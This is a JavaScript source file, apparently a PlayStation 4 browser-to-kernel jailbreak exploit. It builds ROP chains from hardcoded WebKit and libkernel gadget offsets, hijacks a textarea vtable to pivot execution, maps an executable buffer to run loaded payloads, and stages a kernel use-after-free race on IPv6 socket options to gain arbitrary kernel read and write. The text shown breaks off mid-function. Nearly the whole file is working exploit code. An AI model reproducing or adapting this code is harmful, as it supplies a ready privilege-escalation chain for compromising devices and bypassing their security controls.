-
Notifications
You must be signed in to change notification settings - Fork 92
/
Copy pathuserland.js
3320 lines (3136 loc) · 117 KB
/
userland.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
var p;
var chain;
var payload_buffer;
var payload_writer;
var nogc = [];
var webKitBase;
var libSceLibcInternalBase;
var libKernelBase;
const OFFSET_WK_vtable_first_element = 0x009A6040;
const OFFSET_WK_memset_import = 0x00002458;
const OFFSET_WK___stack_chk_fail_import = 0x00002438;
const OFFSET_WK_setjmp_gadget_one = 0x006D81F5;
const OFFSET_WK_setjmp_gadget_two = 0x00288F83;
const OFFSET_WK_longjmp_gadget_one = 0x006D81F5;
const OFFSET_WK_longjmp_gadget_two = 0x00288F83;
const OFFSET_libcint_memset = 0x000507D0;
const OFFSET_libcint_setjmp = 0x000BE39C;
const OFFSET_libcint_longjmp = 0x000BE3F6;
const OFFSET_lk___stack_chk_fail = 0x00012AD0;
const OFFSET_lk_pthread_create_name_np = 0x0001BB10;
const OFFSET_lk_pthread_exit = 0x00019FD0;
const OFFSET_lk_pthread_self = 0x0001D160;
const OFFSET_lk_pthread_setschedparam = 0x0002AD70;
var syscalls = {};
var gadgets = {};
var gadgetmap = {
"ret": 0x0000003C,
"pop rdi": 0x0000835D,
"pop rsi": 0x0003C987,
"pop rdx": 0x00052B23,
"pop rcx": 0x00026AFB,
"pop r8": 0x00097D32,
"pop r9": 0x005C6A81,
"pop rax": 0x0001FA68,
"pop rsp": 0x00078C62,
"mov [rdi], rax": 0x000203E9,
"mov [rdi], eax": 0x00020148,
"mov [rdi], rsi": 0x000359F0,
"cmp [rcx], edi": 0x0010DA31,
"setne al": 0x00009000,
"sete al": 0x0001E0C4,
"setle al": 0x000CA7F6,
"setl al": 0x005955AC,
"setge al": 0x0061B262,
"setg al": 0x000E4A37,
"shl rax, 3": 0x005E8953,
"add rax, rdx": 0x003D498C,
"mov rax, [rax]": 0x0002E852,
"inc dword [rax]": 0x003628DB,
"infpoop": 0x0001386A
};
var textArea = document.createElement("textarea");
function stage2(pld) {
p = window.prim;
p.launch_chain = launch_chain;
p.malloc = malloc;
p.malloc32 = malloc32;
p.stringify = stringify;
p.readString = readString;
p.array_from_address = array_from_address;
//pointer to vtable address
var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
//address of vtable
var textAreaVtable = p.read8(textAreaVtPtr);
//use address of 1st entry (in .text) to calculate webkitbase
webKitBase = p.read8(textAreaVtable).sub32(OFFSET_WK_vtable_first_element);
libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import)));
libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset);
libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import)));
libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);
for (var gadget in gadgetmap) {
window.gadgets[gadget] = webKitBase.add32(gadgetmap[gadget]);
}
function get_jmptgt(address) {
var instr = p.read4(address) & 0xFFFF;
var offset = p.read4(address.add32(2));
if (instr != 0x25FF) {
return 0;
}
return address.add32(0x6 + offset);
}
function malloc(sz) {
var backing = new Uint8Array(0x10000 + sz);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz) {
var backing = new Uint8Array(0x10000 + sz * 4);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
function array_from_address_m(addr, size, type) {
if(type != 1 && type != 2 && type != 4) {
return undefined;
}
var og_array;
if(type == 1) {
og_array = new Uint8Array(0x4000);
}
if(type == 2) {
og_array = new Uint16Array(0x2000);
}
if(type == 4) {
og_array = new Uint32Array(0x1000);
}
var og_array_i = p.leakval(og_array).add32(0x10);
p.write8(og_array_i, addr);
p.write4(og_array_i.add32(8), size);
nogc.push(og_array);
return og_array;
}
function array_from_address(addr, size, type) {
return array_from_address_m(addr,size,4);
}
/*
function array_from_address(addr, size) {
var og_array = new Uint32Array(0x1000);
var og_array_i = p.leakval(og_array).add32(0x10);
p.write8(og_array_i, addr);
p.write4(og_array_i.add32(8), size);
nogc.push(og_array);
return og_array;
}
*/
function stringify(str) {
var bufView = new Uint8Array(str.length + 1);
for (var i = 0; i < str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
}
window.nogc.push(bufView);
return p.read8(p.leakval(bufView).add32(0x10));
}
function readString(addr)
{
var byte = p.read4(addr);
var str = "";
var i = 0;
while (byte & 0xFF)
{
str += String.fromCharCode(byte & 0xFF);
byte = p.read4(addr.add32(i));
i++;
}
return str;
}
var fakeVtable_setjmp = p.malloc32(0x200);
var fakeVtable_longjmp = p.malloc32(0x200);
var original_context = p.malloc32(0x40);
var modified_context = p.malloc32(0x40);
p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp);
p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
p.write8(fakeVtable_setjmp.add32(0x10), original_context);
p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp));
p.write8(fakeVtable_setjmp.add32(0x1D8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp);
p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
p.write8(fakeVtable_longjmp.add32(0x10), modified_context);
p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
p.write8(fakeVtable_longjmp.add32(0x1D8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
function launch_chain(chain) {
chain.push(window.gadgets["pop rdi"]);
chain.push(original_context);
chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
p.write8(textAreaVtPtr, fakeVtable_setjmp);
textArea.scrollLeft = 0x0;
p.write8(modified_context.add32(0x00), window.gadgets["ret"]);
p.write8(modified_context.add32(0x10), chain.stack);
p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40)))
p.write8(textAreaVtPtr, fakeVtable_longjmp);
textArea.scrollLeft = 0x0;
p.write8(textAreaVtPtr, textAreaVtable);
}
var kview = new Uint8Array(0x1000);
var kstr = p.leakval(kview).add32(0x10);
var orig_kview_buf = p.read8(kstr);
p.write8(kstr, window.libKernelBase);
p.write4(kstr.add32(8), 0x40000);
var countbytes;
for (var i = 0; i < 0x40000; i++) {
if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {
countbytes = i;
break;
}
}
p.write4(kstr.add32(8), countbytes + 32);
var dview32 = new Uint32Array(1);
var dview8 = new Uint8Array(dview32.buffer);
for (var i = 0; i < countbytes; i++) {
if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {
dview8[0] = kview[i + 3];
dview8[1] = kview[i + 4];
dview8[2] = kview[i + 5];
dview8[3] = kview[i + 6];
var syscallno = dview32[0];
window.syscalls[syscallno] = window.libKernelBase.add32(i);
}
}
p.write8(kstr, orig_kview_buf);
chain = new rop();
if (chain.syscall(23, 0).low != 0x0) {
try {
stage3();
} catch (e) {
alert(e);
}
}
payload_buffer = chain.syscall(477, new int64(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
payload_writer = array_from_address_m(payload_buffer, 0xC0000*4, 1);
var pld_arr = pld.split(',');
for(var i = 0; i < pld_arr.length; i++) {
write_payload(payload_writer,pld_arr[i]);
chain.call(payload_buffer);
}
document.getElementById("pldooe").value="";
document.getElementById("pldooe_full").value="";
document.getElementById("progress").innerHTML="Payload(s) Loaded Successfully.. Reload to load next set of Payloads!!";
}
function stage3() {
const AF_INET6 = 28;
const SOCK_DGRAM = 2;
const IPPROTO_UDP = 17;
const IPPROTO_IPV6 = 41;
const IPV6_TCLASS = 61;
const IPV6_2292PKTOPTIONS = 25;
const IPV6_RTHDR = 51;
const IPV6_PKTINFO = 46;
const SPRAY_TCLASS = 0x53;
const TAINT_CLASS = 0x58;
const TCLASS_MASTER = 0x2AFE0000;
const PKTOPTS_PKTINFO_OFFSET = 0x10;
const PKTOPTS_RTHDR_OFFSET = 0x68;
const PKTOPTS_TCLASS_OFFSET = 0xB0;
const PROC_UCRED_OFFSET = 0x40;
const PROC_FILEDESC_OFFSET = 0x48;
const PROC_PID_OFFSET = 0xB0;
const FILE_FOPS_OFFSET = 0x8;
const FILEOPS_IOCTL_OFFSET = 0x18;
const VM_MAP_PMAP_OFFSET = 0x120;
const KERNEL_M_IP6OPT_OFFSET = 0x1A7AEA0;
const KERNEL_MALLOC_OFFSET = 0x301840;
const KERNEL_ALLPROC_OFFSET = 0x1B48318;
const KERNEL_PMAP_STORE_OFFSET = 0x22C5268;
const NUM_SPRAY_SOCKS = 200;
const NUM_LEAK_SOCKS = 200;
const NUM_SLAVE_SOCKS = 300;
const size_of_triggered = 0x8;
const size_of_valid_pktopts = 0x18;
const size_of_size_of_tclass = 0x8;
const size_of_master_main_tclass = 0x8;
const size_of_master_thr1_tclass = 0x8;
const size_of_master_thr2_tclass = 0x8;
const size_of_spray_tclass = 0x8;
const size_of_taint_tclass = 0x8;
const size_of_tmp_tclass = 0x8;
const size_of_rthdr_buffer = 0x800;
const size_of_ptr_size_of_rthdr_buffer= 0x8;
const size_of_spray_socks = 0x4 * NUM_SPRAY_SOCKS;
const size_of_leak_socks = 0x4 * NUM_LEAK_SOCKS;
const size_of_slave_socks = 0x4 * NUM_SLAVE_SOCKS;
const size_of_spray_socks_tclasses = 0x4 * NUM_SPRAY_SOCKS;
const size_of_pktinfo_buffer = 0x18;
const size_of_pktinfo_buffer_len = 0x8;
const size_of_find_slave_buffer = 0x8 * NUM_SLAVE_SOCKS + 0x10;
const size_of_fake_socketops = 0x58;
const size_of_loop_counter = 0x8;
const size_of_fix_these_sockets = 0x4 * (NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x2) + 0x18;
const var_memory = p.malloc(size_of_triggered + size_of_valid_pktopts + size_of_size_of_tclass + size_of_master_main_tclass + size_of_master_thr1_tclass + size_of_master_thr2_tclass + size_of_spray_tclass + size_of_taint_tclass + size_of_tmp_tclass +
size_of_rthdr_buffer + size_of_ptr_size_of_rthdr_buffer+ size_of_spray_socks + size_of_leak_socks + size_of_slave_socks + size_of_spray_socks_tclasses + size_of_pktinfo_buffer + size_of_pktinfo_buffer_len + size_of_find_slave_buffer + size_of_fake_socketops + size_of_loop_counter +
size_of_fix_these_sockets
);
const triggered = var_memory;
const valid_pktopts = triggered.add32(size_of_triggered);
const size_of_tclass = valid_pktopts.add32(size_of_valid_pktopts);
const master_main_tclass = size_of_tclass.add32(size_of_size_of_tclass);
const master_thr1_tclass = master_main_tclass.add32(size_of_master_main_tclass);
const master_thr2_tclass = master_thr1_tclass.add32(size_of_master_thr1_tclass);
const spray_tclass = master_thr2_tclass.add32(size_of_master_thr2_tclass);
const taint_tclass = spray_tclass.add32(size_of_spray_tclass);
const tmp_tclass = taint_tclass.add32(size_of_taint_tclass);
const rthdr_buffer = tmp_tclass.add32(size_of_tmp_tclass);
const ptr_size_of_rthdr_buffer = rthdr_buffer.add32(size_of_rthdr_buffer);
const spray_sockets_ptr = ptr_size_of_rthdr_buffer.add32(size_of_ptr_size_of_rthdr_buffer);
const leak_sockets_ptr = spray_sockets_ptr.add32(size_of_spray_socks);
const slave_sockets_ptr = leak_sockets_ptr.add32(size_of_leak_socks);
const spray_socks_tclasses_ptr = slave_sockets_ptr.add32(size_of_slave_socks);
const pktinfo_buffer = spray_socks_tclasses_ptr.add32(size_of_spray_socks_tclasses);
const pktinfo_buffer_len = pktinfo_buffer.add32(size_of_pktinfo_buffer);
const find_slave_buffer = pktinfo_buffer_len.add32(size_of_pktinfo_buffer_len);
const fake_socketops = find_slave_buffer.add32(size_of_find_slave_buffer);
const loop_counter = fake_socketops.add32(size_of_fake_socketops);
const fix_these_sockets_ptr = loop_counter.add32(size_of_loop_counter);
var overlapped_socket = -1;
var overlapped_socket_idx = -1;
var slave_socket = -1;
var leaked_pktopts_address = 0;
var target_file;
var socketops;
var kernel_base;
p.write8(valid_pktopts.add32(0x0), 0x14);
p.write4(valid_pktopts.add32(0x8), IPPROTO_IPV6);
p.write4(valid_pktopts.add32(0xC), IPV6_TCLASS);
p.write4(valid_pktopts.add32(0x10), 0x0);
p.write8(size_of_tclass, 0x4);
p.write8(spray_tclass, SPRAY_TCLASS);
p.write8(master_main_tclass, 0x0);
p.write8(master_thr1_tclass, 0x0);
p.write8(master_thr2_tclass, 0x0);
p.write8(taint_tclass, TAINT_CLASS);
p.write8(tmp_tclass, 0x10);
p.write8(pktinfo_buffer_len, 0x14);
//create sockets
const master_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low;
const target_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low;
const spare_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low;
const this_pid = chain.syscall(20).low;
{
for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
chain.write_result4(spray_sockets_ptr.add32(0x4 * i));
}
for (var i = 0; i < NUM_LEAK_SOCKS; i++) {
chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
chain.write_result4(leak_sockets_ptr.add32(0x4 * i));
}
for (var i = 0; i < NUM_SLAVE_SOCKS; i++) {
chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
chain.write_result4(slave_sockets_ptr.add32(0x4 * i));
}
}
chain.run();
const spray_sockets = p.array_from_address(spray_sockets_ptr, NUM_SPRAY_SOCKS);
const spray_socks_tclasses = p.array_from_address(spray_socks_tclasses_ptr, NUM_SPRAY_SOCKS);
const leak_sockets = p.array_from_address(leak_sockets_ptr, NUM_LEAK_SOCKS);
const slave_sockets = p.array_from_address(slave_sockets_ptr, NUM_SLAVE_SOCKS);
const fix_me = p.array_from_address(fix_these_sockets_ptr, NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x2);
for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
fix_me[i] = spray_sockets[i];
}
for (var i = 0; i < NUM_LEAK_SOCKS; i++) {
fix_me[i + NUM_SPRAY_SOCKS] = leak_sockets[i];
}
for (var i = 0; i < NUM_SLAVE_SOCKS; i++) {
fix_me[i + (NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS)] = slave_sockets[i];
}
fix_me[NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x0] = master_socket;
fix_me[NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x1] = spare_socket;
for (var i = 0; i < 10; i++) {
p.write8(fake_socketops.add32(i * 0x8), window.gadgets["ret"]);
}
p.write8(fake_socketops.add32(0x50), 1);
var thr1_start;
var thr1_ctrl;
const thread1 = chain.spawn_thread("thread1", function (new_thr) {
const loop_start = new_thr.get_rsp();
const trigger_condition = new_thr.create_equal_branch(triggered, 1);
const triggered_false = new_thr.get_rsp();
new_thr.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_thr1_tclass, size_of_tclass);
const overlap_condition = new_thr.create_equal_branch(master_thr1_tclass, SPRAY_TCLASS);
const overlap_false = new_thr.get_rsp();
new_thr.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, valid_pktopts, size_of_valid_pktopts);
new_thr.push(window.gadgets["pop rdi"]);
var dest_idx = new_thr.pushSymbolic();
new_thr.push(window.gadgets["pop rsi"]);
var src_idx = new_thr.pushSymbolic();
new_thr.push(window.gadgets["mov [rdi], rsi"]);
var l1 = new_thr.get_rsp();
new_thr.push(window.gadgets["pop rsp"]);
var l2 = new_thr.get_rsp();
new_thr.push(0x43434343);
new_thr.finalizeSymbolic(dest_idx, l2);
new_thr.finalizeSymbolic(src_idx, l1);
thr1_start = loop_start;
thr1_ctrl = l2;
const overlap_true = new_thr.get_rsp();
new_thr.push_write8(triggered, 1);
const triggered_true = new_thr.get_rsp();
new_thr.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0);
new_thr.set_branch_points(trigger_condition, triggered_true, triggered_false);
new_thr.set_branch_points(overlap_condition, overlap_true, overlap_false);
});
//boys dont race too fast now, kthx.
var me = chain.call(libKernelBase.add32(OFFSET_lk_pthread_self));
var prio = p.malloc(0x8);
p.write4(prio, 0x100);
var r = chain.call(libKernelBase.add32(OFFSET_lk_pthread_setschedparam), me, 1, prio);
const thread3 = new rop(); {
//main loop
const loop_start = thread3.get_rsp();
//set valid.
thread3.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, valid_pktopts, size_of_valid_pktopts);
//make thr1 give it a go
thread3.push_write8(thr1_ctrl, thr1_start);
thread3.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_thr2_tclass, size_of_tclass);
thread3.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
thread3.syscall_safe(105, spray_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, spray_tclass, 4);
}
thread3.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_main_tclass, size_of_tclass);
const overlap_condition = thread3.create_equal_branch(master_main_tclass, SPRAY_TCLASS);
const overlap_false = thread3.get_rsp();
for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
thread3.syscall_safe(105, spray_sockets[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
}
thread3.jmp_rsp(loop_start);
const overlap_true = thread3.get_rsp();
thread3.push_write8(triggered, 1);
thread3.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_TCLASS, taint_tclass, 4);
for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
thread3.fcall(syscalls[118], spray_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, spray_socks_tclasses_ptr.add32(0x4 * i), size_of_tclass);
}
//make sure the thread will exit(?)
thread3.push_write8(thr1_ctrl, thr1_start);
thread3.set_branch_points(overlap_condition, overlap_true, overlap_false);
}
//trigger uaf
thread1();
thread3.run();
function find_socket_overlap() {
for (var i = 0; i < NUM_SPRAY_SOCKS; i++) {
if (spray_socks_tclasses[i] == TAINT_CLASS) {
overlapped_socket = spray_sockets[i];
overlapped_socket_idx = i;
return;
}
}
alert("[ERROR] -> failed to find socket overlap. (should be unreachable) REBOOT");
while (1) {};
}
function fake_pktopts(pktinfo) {
{
chain.fcall(libSceLibcInternalBase.add32(OFFSET_libcint_memset), rthdr_buffer, 0x0, 0x100);
chain.push_write8(rthdr_buffer.add32(0x0), 0x0F001E00);
chain.push_write8(rthdr_buffer.add32(PKTOPTS_PKTINFO_OFFSET), pktinfo);
chain.push_write8(loop_counter, 0);
chain.push_write8(tmp_tclass, 0x1);
for (var i = 0; i < NUM_LEAK_SOCKS; i++) {
chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, 4);
}
chain.fcall(window.syscalls[105], overlapped_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
const loop_start = chain.get_rsp();
const loop_condition = chain.create_equal_branch(loop_counter, 0x100);
const loop_condition_false = chain.get_rsp();
for (var i = 0; i < NUM_LEAK_SOCKS; i++) {
chain.push_write8(rthdr_buffer.add32(PKTOPTS_TCLASS_OFFSET), (TCLASS_MASTER | i));
chain.syscall_safe(105, leak_sockets[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, 0xF8);
}
chain.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, size_of_tclass);
const overlap_condition = chain.create_greater_or_equal_branch(tmp_tclass, TCLASS_MASTER);
const overlap_false = chain.get_rsp();
chain.push(window.gadgets["pop rax"]);
chain.push(loop_counter);
chain.push(window.gadgets["inc dword [rax]"]);
chain.jmp_rsp(loop_start);
const loop_condition_true = chain.get_rsp();
const overlap_true = chain.get_rsp();
chain.set_branch_points(loop_condition, loop_condition_true, loop_condition_false);
chain.set_branch_points(overlap_condition, overlap_true, overlap_false);
}
chain.run();
const tclass = p.read4(tmp_tclass);
if ((tclass & 0xFFFF0000) == TCLASS_MASTER) {
overlapped_socket_idx = (tclass & 0x0000FFFF);
overlapped_socket = leak_sockets[overlapped_socket_idx];
return;
}
alert("[ERROR] failed to find RTHDR <-> master socket overlap REBOOT");
while (1) {};
}
function leak_rthdr_address(size) {
const ip6r_len = ((size >> 3) - 1 & ~1);
const ip6r_segleft = (ip6r_len >> 1);
const header = (ip6r_len << 8) + (ip6r_segleft << 24); {
chain.fcall(libSceLibcInternalBase.add32(OFFSET_libcint_memset), rthdr_buffer, 0x0, size);
chain.push_write8(rthdr_buffer, header);
chain.push_write8(ptr_size_of_rthdr_buffer, size);
chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, ((ip6r_len + 1) << 3));
chain.fcall(syscalls[118], overlapped_socket, IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, ptr_size_of_rthdr_buffer);
}
chain.run();
const kaddress = p.read8(rthdr_buffer.add32(PKTOPTS_RTHDR_OFFSET));
return kaddress;
}
function leak_pktopts() {
leaked_pktopts_address = leak_rthdr_address(0x100); {
chain.push_write8(tmp_tclass, 0x10);
chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);
for (var i = 0; i < NUM_SLAVE_SOCKS; i++) {
chain.fcall(syscalls[105], slave_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, 4);
}
}
chain.run();
}
function find_slave() {
{
chain.push_write8(pktinfo_buffer, leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET));
chain.push_write8(pktinfo_buffer.add32(0x8), 0);
chain.push_write8(pktinfo_buffer.add32(0x10), 0);
chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14);
for (var i = 0; i < NUM_SLAVE_SOCKS; i++) {
chain.fcall(syscalls[118], slave_sockets[i], IPPROTO_IPV6, IPV6_PKTINFO, find_slave_buffer.add32(0x8 * i), pktinfo_buffer_len);
}
}
chain.run();
for (var i = 0; i < NUM_SLAVE_SOCKS; i++) {
if (p.read4(find_slave_buffer.add32(0x8 * i)) == (leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)).low) {
slave_socket = slave_sockets[i];
return;
}
}
alert("[ERROR] failed to find slave REBOOT");
while (1) {};
}
function kernel_read8(address) {
{
chain.push_write8(pktinfo_buffer, address);
chain.push_write8(pktinfo_buffer.add32(0x8), 0);
chain.push_write8(pktinfo_buffer.add32(0x10), 0);
chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14);
chain.fcall(syscalls[118], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, pktinfo_buffer_len)
}
chain.run();
return p.read8(pktinfo_buffer);
}
function kernel_write8(address, value) {
{
chain.push_write8(pktinfo_buffer, address);
chain.push_write8(pktinfo_buffer.add32(0x8), 0);
chain.push_write8(pktinfo_buffer.add32(0x10), 0);
chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14);
chain.fcall(syscalls[118], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, pktinfo_buffer_len);
chain.push_write8(pktinfo_buffer, value);
chain.fcall(syscalls[105], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14);
}
chain.run();
}
function brute_force_kernel_map() {
var attempt = new int64(((leaked_pktopts_address.low & 0xFE000000) + VM_MAP_PMAP_OFFSET), leaked_pktopts_address.hi);
for (var i = 0; i < 0xC0; i++) {
var kernel_pmap_store = kernel_read8(attempt);
if (kernel_pmap_store.hi == 0xFFFFFFFF && ((kernel_pmap_store.low & 0x3FFF) == (KERNEL_PMAP_STORE_OFFSET & 0x3FFF))) {
kernel_base = kernel_pmap_store.sub32(KERNEL_PMAP_STORE_OFFSET);
if ((kernel_base.low & 0x3FFF) == 0x0) {
return;
}
}
attempt.sub32inplace(0x01000000);
}
alert("[ERROR] failed to find kernel_map REBOOT");
while (1) {};
}
function find_proc() {
var proc = kernel_read8(kernel_base.add32(KERNEL_ALLPROC_OFFSET));
while (proc.low != 0) {
var pid = kernel_read8(proc.add32(PROC_PID_OFFSET));
if (pid.low == this_pid) {
return proc;
}
proc = kernel_read8(proc);
}
alert("[ERROR] failed to find proc REBOOT");
while (1) {};
}
function find_execution_socket() {
